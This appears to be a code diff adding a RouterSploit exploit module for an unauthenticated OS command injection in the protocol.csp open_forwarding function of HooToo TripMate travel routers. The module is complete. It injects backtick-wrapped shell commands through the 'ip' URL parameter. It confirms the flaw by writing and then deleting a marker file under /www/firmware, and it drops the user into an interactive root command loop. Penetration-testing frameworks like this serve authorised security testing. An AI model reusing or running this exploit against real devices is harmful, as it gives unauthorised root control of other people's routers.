|
| 1 | +from urllib import quote |
| 2 | + |
| 3 | +from routersploit import ( |
| 4 | + exploits, |
| 5 | + print_success, |
| 6 | + print_status, |
| 7 | + print_error, |
| 8 | + http_request, |
| 9 | + validators, |
| 10 | + random_text, |
| 11 | + shell, |
| 12 | + mute, |
| 13 | +) |
| 14 | + |
| 15 | + |
| 16 | +class Exploit(exploits.Exploit): |
| 17 | + |
| 18 | + """ |
| 19 | + Exploit implementation for unauthenticated OS command injection vulnerability in protocol.csp open_forwarding on |
| 20 | + HooToo TripMate routers. |
| 21 | + """ |
| 22 | + |
| 23 | + __info__ = { |
| 24 | + 'name': 'HooToo TripMate protocol.csp open_forwarding RCE', |
| 25 | + 'authors': [ |
| 26 | + 'Tao "depierre" Sauvage', |
| 27 | + ], |
| 28 | + 'description': 'Module exploits TripMate unauthenticated OS command injection vulnerability in protocol.csp, in' |
| 29 | + ' function open_forwarding, which allows executing commands on the router with root privileges.', |
| 30 | + 'references': [ |
| 31 | + 'http://blog.ioactive.com/2018/04/hootoo-tripmate-routers-are-cute-but.html', |
| 32 | + 'https://www.ioactive.com/pdfs/HooToo_Security_Advisory_FINAL_4.19.18.pdf' |
| 33 | + ], |
| 34 | + 'devices': [ |
| 35 | + 'HooToo TripMate HT-TM01, firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046', |
| 36 | + 'HooToo TripMate Nano HT-TM02, firmware fw-WiFiPort-HooToo-TM02-2.000.072', |
| 37 | + 'HooToo TripMate Mini HT-TM03, firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016', |
| 38 | + 'HooToo TripMate Elite HT-TM04, firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008', |
| 39 | + 'HooToo TripMate Titan HT-TM05, firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.080.080', |
| 40 | + 'HooToo TripMate Elite U HT-TM06, firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048', |
| 41 | + ], |
| 42 | + } |
| 43 | + |
| 44 | + target = exploits.Option('', 'Target address running ioos, e.g. http://10.10.10.254', validators=validators.url) |
| 45 | + port = exploits.Option(81, 'Target port running ioos') |
| 46 | + |
| 47 | + def run(self): |
| 48 | + if self.check(): |
| 49 | + print_success('Target is vulnerable') |
| 50 | + print_status('Blind command injection - response is not available') |
| 51 | + print_status('Possible extraction point:') |
| 52 | + print_status('\t- Run "CMD > /www/firmware/routersploit.res"') |
| 53 | + print_status('\t- The result of CMD will be available at {}:{}/firmware/routersploit.res'.format(self.target, self.port)) |
| 54 | + print_status("Invoking command loop (type 'exit' or 'quit' to exit the loop)...") |
| 55 | + shell(self, method='generic', architecture='mipsle', location='/tmp/') |
| 56 | + else: |
| 57 | + print_error('Target is not vulnerable') |
| 58 | + |
| 59 | + def execute(self, cmd): |
| 60 | + url = u'{}:{}/protocol.csp'.format(self.target, self.port) |
| 61 | + params = self._urlencode_quote({ |
| 62 | + 'function': 'set', 'fname': 'security', 'opt': 'open_forwarding', |
| 63 | + 'ip': '`{}`'.format(cmd)}) |
| 64 | + http_request(method=u'GET', url=url, params=params) |
| 65 | + return '' # Blind RCE so no response available |
| 66 | + |
| 67 | + @staticmethod |
| 68 | + def _urlencode_quote(params): |
| 69 | + """URL encode parameters using urllib.quote instead of urllib.quote_plus. |
| 70 | +
|
| 71 | + Necessary because HooToo ioos binary does not properly handle whitespaces encoded as '+' in URLs. It only |
| 72 | + handles whitespaces encoded as '%20'. |
| 73 | + """ |
| 74 | + return '&'.join('{}={}'.format(quote(key), quote(value)) for key, value in params.items()) |
| 75 | + |
| 76 | + @mute |
| 77 | + def check(self): |
| 78 | + url = u'{}:{}/protocol.csp'.format(self.target, self.port) |
| 79 | + # Blind unauth RCE |
| 80 | + # 1. Create a file in the /www/firwmare/ directory (writeable). |
| 81 | + marker = random_text(64) |
| 82 | + params = self._urlencode_quote({ |
| 83 | + 'function': 'set', 'fname': 'security', 'opt': 'open_forwarding', |
| 84 | + 'ip': '`echo {0} > /www/firmware/{0}`'.format(marker)}) |
| 85 | + url_with_params = '{}?{}'.format(url, params) |
| 86 | + response = http_request(method=u'GET', url=url_with_params) |
| 87 | + if not response: |
| 88 | + return False |
| 89 | + # 2. Check that the file was successfully created> |
| 90 | + url_marker = u'{}:{}/firmware/{}'.format(self.target, self.port, marker) |
| 91 | + response = http_request(method=u'GET', url=url_marker) |
| 92 | + if not response or not response.status_code == 200 or marker not in response.text: |
| 93 | + return False |
| 94 | + # 3. Clean up the temp file. |
| 95 | + params = self._urlencode_quote({ |
| 96 | + 'function': 'set', 'fname': 'security', 'opt': 'open_forwarding', |
| 97 | + 'ip': '`rm -f /www/firmware/{}`'.format(marker)}) |
| 98 | + url_with_params = '{}?{}'.format(url, params) |
| 99 | + http_request(method=u'GET', url=url_with_params) |
| 100 | + return True |
0 commit comments